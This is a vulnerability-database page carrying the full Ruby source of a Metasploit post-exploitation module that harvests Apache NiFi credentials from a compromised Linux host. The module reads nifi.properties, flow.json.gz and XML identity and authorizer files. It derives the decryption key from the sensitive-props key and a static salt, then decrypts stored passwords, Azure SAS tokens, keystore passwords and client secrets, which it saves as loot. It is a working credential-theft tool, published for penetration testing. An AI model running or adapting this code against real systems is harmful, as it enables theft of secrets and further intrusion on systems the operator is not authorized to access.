Lucene search

K
metasploitH00die, TopacoMSF:POST-LINUX-GATHER-APACHE_NIFI_CREDENTIALS-
HistoryNov 06, 2023 - 11:34 p.m.

Apache NiFi Credentials Gather

2023-11-0623:34:36
h00die, Topaco
www.rapid7.com
215
apache nifi credentials gather
linux
unix
file
metasploit module
crypto assist
security
encryption
authorization
authentication
identity provider
properties
flow
iterations
session types
stability
references
azure storage credentials controller service

7.4 High

AI Score

Confidence

Low

This module will grab Apache NiFi credentials from various files on Linux.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache NiFi Credentials Gather',
        'Description' => %q{
          This module will grab Apache NiFi credentials from various files on Linux.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # Metasploit Module
          'Topaco', # crypto assist
        ],
        'Platform' => ['linux', 'unix'],
        'SessionTypes' => ['shell', 'meterpreter'],
        'References' => [
          ['URL', 'https://stackoverflow.com/questions/77391210/python-vs-ruby-aes-pbkdf2'],
          ['URL', 'https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#nifi_sensitive_props_key']
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        OptString.new('NIFI_PATH', [false, 'NiFi folder', '/opt/nifi/']),
        OptString.new('NIFI_PROPERTIES', [false, 'NiFi Properties file', '/opt/nifi/conf/nifi.properties']),
        OptString.new('NIFI_FLOW_JSON', [false, 'NiFi flow.json.gz file', '/opt/nifi/conf/flow.json.gz']),
        OptString.new('NIFI_IDENTITY', [false, 'NiFi login-identity-providers.xml file', '/opt/nifi/conf/login-identity-providers.xml']),
        OptString.new('NIFI_AUTHORIZERS', [false, 'NiFi authorizers file', '/opt/nifi/conf/authorizers.xml']),
        OptInt.new('ITERATIONS', [true, 'Encryption iterations', 160_000])
      ], self.class
    )
  end

  def authorizers_file
    return @authorizers_file if @authorizers_file

    [datastore['NIFI_authorizers'], "#{datastore['NIFI_PATH']}/conf/authorizers.xml"].each do |f|
      unless file_exist? f
        vprint_bad("#{f} not found")
        next
      end
      vprint_status("Found authorizers.xml file #{f}")
      unless readable? f
        vprint_bad("#{f} not readable")
        next
      end
      print_good("#{f} is readable!")
      @authorizers_file = f
      break
    end
    @authorizers_file
  end

  def identity_file
    return @identity_file if @identity_file

    [datastore['NIFI_IDENTITY'], "#{datastore['NIFI_PATH']}/conf/login-identity-providers.xml"].each do |f|
      unless file_exist? f
        vprint_bad("#{f} not found")
        next
      end
      vprint_status("Found login-identity-providers.xml file #{f}")
      unless readable? f
        vprint_bad("#{f} not readable")
        next
      end
      print_good("#{f} is readable!")
      @identity_file = f
      break
    end
    @identity_file
  end

  def properties_file
    return @properties_file if @properties_file

    [datastore['NIFI_PROPERTIES'], "#{datastore['NIFI_PATH']}/conf/nifi.properties"].each do |f|
      unless file_exist? f
        vprint_bad("#{f} not found")
        next
      end
      vprint_status("Found nifi.properties file #{f}")
      unless readable? f
        vprint_bad("#{f} not readable")
        next
      end
      print_good("#{f} is readable!")
      @properties_file = f
      break
    end
    @properties_file
  end

  def flow_file
    return @flow_file if @flow_file

    [datastore['NIFI_FLOW_JSON'], "#{datastore['NIFI_PATH']}/conf/flow.json.gz"].each do |f|
      unless file_exist? f
        vprint_bad("#{f} not found")
        next
      end
      vprint_status("Found flow.json.gz file #{f}")
      unless readable? f
        vprint_bad("#{f} not readable")
        next
      end
      print_good("#{f} is readable!")
      @flow_file = f
      break
    end
    @flow_file
  end

  def salt
    'NiFi Static Salt'
  end

  def process_type_azure_storage_credentials_controller_service(name, service)
    table_entries = []
    storage_account_name = parse_aes_256_gcm_enc_string(service['storage-account-name'])
    return table_entries if storage_account_name.nil?

    storage_account_name_decrypt = decrypt_aes_256_gcm(storage_account_name, @decrypted_key)

    # this is optional
    if service['managed-identity-client-id']
      client_id = parse_aes_256_gcm_enc_string(service['managed-identity-client-id'])
      return table_entries if client_id.nil?

      client_id_decrypt = decrypt_aes_256_gcm(client_id, @decrypted_key)
    else
      client_id_decrypt = ''
    end

    sas_token = parse_aes_256_gcm_enc_string(service['storage-sas-token'])
    return table_entries if sas_token.nil?

    sas_token_decrypt = decrypt_aes_256_gcm(sas_token, @decrypted_key)

    information = "storage-account-name: #{storage_account_name_decrypt}"
    information << ", storage-endpoint-suffix: #{service['storage-endpoint-suffix']}" if service['storage-endpoint-suffix']
    table_username = client_id_decrypt.empty? ? '' : "managed-identity-client-id: #{client_id_decrypt}"

    @flow_json_string = @flow_json_string.gsub(service['storage-sas-token'], sas_token_decrypt)
    @flow_json_string = @flow_json_string.gsub(service['storage-account-name'], storage_account_name_decrypt)
    @flow_json_string = @flow_json_string.gsub(service['managed-identity-client-id'], client_id_decrypt) unless client_id_decrypt.empty?
    table_entries << [name, table_username, sas_token_decrypt, information]
    table_entries
  end

  # This function is built to attempt to decrypt a processor/service that we dont have a specific decryptor for.
  # we may miss grouping some fields together, but its better to print them out than do nothing with them.
  def process_type_generic(name, processor)
    table_entries = []
    processor.each do |property|
      property_name = property[0]
      property_value = property[1]
      next unless property_value.is_a? String
      next unless property_value.starts_with? 'enc{'

      password = parse_aes_256_gcm_enc_string(property_value)
      next if password.nil?

      password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
      table_entries << [name, '', password_decrypt, "Property name: #{property_name}"]
      @flow_json_string = @flow_json_string.gsub(property_value, password_decrypt)
    end
    table_entries
  end

  def process_type_org_apache_nifi_processors_standard_gethttp(name, processor)
    table_entries = []
    return table_entries unless processor['Password']

    username = processor['Username']
    url = processor['URL']
    password = parse_aes_256_gcm_enc_string(processor['Password'])
    return table_entries if password.nil?

    password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
    table_entries << [name, username, password_decrypt, "URL: #{url}"]
    @flow_json_string = @flow_json_string.gsub(processor['Password'], password_decrypt)
    table_entries
  end

  def process_type_standard_restricted_ssl_context_service(controller_properties)
    table_entries = []
    if controller_properties['Keystore Filename'] && controller_properties['Keystore Password']
      name = 'Keystore'
      username = controller_properties['Keystore Filename']
      password = parse_aes_256_gcm_enc_string(controller_properties['Keystore Password'])
      unless password.nil?
        password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
        table_entries << [name, username, password_decrypt, '']
        @flow_json_string = @flow_json_string.gsub(controller_properties['Keystore Password'], password_decrypt)
      end
    end

    if controller_properties['Truststore Filename'] && controller_properties['Truststore Password']
      name = 'Truststore'
      username = controller_properties['Truststore Filename']
      password = parse_aes_256_gcm_enc_string(controller_properties['Truststore Password'])
      unless password.nil?
        password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
        table_entries << [name, username, password_decrypt, "Truststore Type #{controller_properties['Truststore Type']}"]
        @flow_json_string = @flow_json_string.gsub(controller_properties['Truststore Password'], password_decrypt)
      end
    end

    return table_entries unless controller_properties['Truststore Filename'] && controller_properties['key-password']

    name = 'Key Password'
    username = controller_properties['Truststore Filename']
    password = parse_aes_256_gcm_enc_string(controller_properties['key-password'])
    return table_entries if password.nil?

    password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
    table_entries << [name, username, password_decrypt, "Truststore Type #{controller_properties['Truststore Type']}"]
    @flow_json_string = @flow_json_string.gsub(controller_properties['key-password'], password_decrypt)

    table_entries
  end

  def decrypt_aes_256_gcm(enc_fields, key)
    vprint_status('    Decryption initiated for AES-256-GCM')
    vprint_status("      Nonce: #{enc_fields[:nonce]}, Auth Tag: #{enc_fields[:auth_tag]}, Ciphertext: #{enc_fields[:ciphertext]}")
    cipher = OpenSSL::Cipher.new('AES-256-GCM')
    cipher.decrypt
    cipher.key = key
    cipher.iv_len = 16
    cipher.iv = [enc_fields[:nonce]].pack('H*')
    cipher.auth_tag = [enc_fields[:auth_tag]].pack('H*')

    decrypted_text = cipher.update([enc_fields[:ciphertext]].pack('H*'))
    decrypted_text << cipher.final
    decrypted_text
  end

  def parse_aes_256_gcm_enc_string(password)
    password = password[4, password.length - 5] # remove enc{ at the beginning and } at the end
    password.match(/(?<nonce>\w{32})(?<ciphertext>\w+)(?<auth_tag>\w{32})/) # parse out the fields
  end

  def run
    unless ((flow_file && properties_file) || identity_file)
      fail_with(Failure::NotFound, 'Unable to find login-identity-providers.xml, nifi.properties and/or flow.json.gz files')
    end

    properties = read_file(properties_file)
    path = store_loot('nifi.properties', 'text/plain', session, properties, 'nifi.properties', 'nifi properties file')
    print_good("properties data saved in: #{path}")
    key = properties.scan(/^nifi.sensitive.props.key=(.+)$/).flatten.first.strip
    fail_with(Failure::NotFound, 'Unable to find nifi.properties and/or flow.json.gz files') if key.nil?
    print_good("Key: #{key}")
    # https://rubular.com/r/N0w0WHTjjdKXHZ
    # https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#property-encryption-algorithms
    # https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#java-cryptography-extension-jce-limited-strength-jurisdiction-policies
    algorithm = properties.scan(/^nifi.sensitive.props.algorithm=([\w-]+)$/).flatten.first.strip
    fail_with(Failure::NotFound, 'Unable to find nifi.properties and/or flow.json.gz files') if algorithm.nil?

    columns = ['Name', 'Username', 'Password', 'Other Information']
    table = Rex::Text::Table.new('Header' => 'NiFi Flow Data', 'Indent' => 1, 'Columns' => columns)

    if flow_file
      flow_json = Zlib.gunzip(read_file(flow_file))

      path = store_loot('nifi.flow.json', 'application/json', session, flow_json, 'flow.json', 'nifi flow data')
      print_good("Original data containing encrypted fields saved in: #{path}")

      flow_json = JSON.parse(flow_json)
      @flow_json_string = JSON.pretty_generate(flow_json) # so we can save an unencrypted version as well

      # NIFI_PBKDF2_AES_GCM_256 is the default as of 1.14.0
      # leave this as an if statement so it can be expanded to include more algorithms in the future
      if algorithm == 'NIFI_PBKDF2_AES_GCM_256'
        # https://gist.github.com/tylerpace/8f64b7e00ffd9fb1ef5ea70df0f9442f
        @decrypted_key = OpenSSL::PKCS5.pbkdf2_hmac(key, salt, datastore['ITERATIONS'], 32, OpenSSL::Digest.new('SHA512'))

        vprint_status('Checking root group processors')
        flow_json.dig('rootGroup', 'processors').each do |processor|
          vprint_status("  Analyzing #{processor['processor']} of type #{processor['type']}")
          case processor['type']
          when 'org.apache.nifi.processors.standard.GetHTTP'
            table_entries = process_type_org_apache_nifi_processors_standard_gethttp(processor['name'], processor['properties'])
          else
            table_entries = process_type_generic(processor['name'], processor['properties'])
          end
          table.rows.concat table_entries
        end

        vprint_status('Checking root group controller services')
        flow_json.dig('rootGroup', 'controllerServices').each do |service|
          vprint_status("  Analyzing #{service['name']} of type #{service['type']}")
          case service['type']
          when 'org.apache.nifi.services.azure.storage.AzureStorageCredentialsControllerService_v12',
            'org.apache.nifi.services.azure.storage.AzureStorageCredentialsControllerService'
            table_entries = process_type_azure_storage_credentials_controller_service(service['name'], service['properties'])
          when 'org.apache.nifi.ssl.StandardRestrictedSSLContextService'
            table_entries = process_type_standard_restricted_ssl_context_service(service['properties'])
          else
            table_entries = process_type_generic(service['name'], service['properties'])
          end
          table.rows.concat table_entries
        end

      else
        print_bad("Processor for #{algorithm} not implemented in module. Use nifi-toolkit to potentially change algorithm.")
      end

      unless @flow_json_string == JSON.pretty_generate(flow_json) # dont write if we didn't change anything
        path = store_loot('nifi.flow.decrypted.json', 'application/json', session, @flow_json_string, 'flow.decrypted.json', 'nifi flow data decrypted')
        print_good("Decrypted data saved in: #{path}")
      end
    end

    vprint_status('Checking identity file')
    if identity_file
      identity_content = read_file(identity_file)
      xml = Nokogiri::XML.parse(identity_content)

      xml.xpath('//loginIdentityProviders//provider').each do |c|
        name = c.xpath('identifier').text
        username = c.xpath('property[@name="Username"]').text
        hash = c.xpath('property[@name="Password"]').text
        next if (username.blank? || hash.blank?)

        table << [name, username, hash, 'From login-identity-providers.xml']

        credential_data = {
          jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
          origin_type: :session,
          post_reference_name: refname,
          private_type: :nonreplayable_hash,
          private_data: hash,
          session_id: session_db_id,
          username: username,
          workspace_id: myworkspace_id
        }
        create_credential(credential_data)
      end
    end

    vprint_status('Checking authorizers file')
    if authorizers_file
      authorizers_content = read_file(authorizers_file)
      xml = Nokogiri::XML.parse(authorizers_content)

      xml.xpath('//authorizers//userGroupProvider').each do |c|
        next if c.xpath('property[@name="Client Secret"]').text.blank?

        name = c.xpath('identifier').text
        username = "Directory/Tenant ID: #{c.xpath('property[@name="Directory ID"]').text}" \
                   ", Application ID: #{c.xpath('property[@name="Application ID"]').text}"
        password = c.xpath('property[@name="Client Secret"]').text
        next if (username.blank? || hash.blank?)

        table << [name, username, password, 'From authorizers.xml']
      end
    end

    if !table.rows.empty?
      print_good('NiFi Flow Values')
      print_line(table.to_s)
    end
  end
end

7.4 High

AI Score

Confidence

Low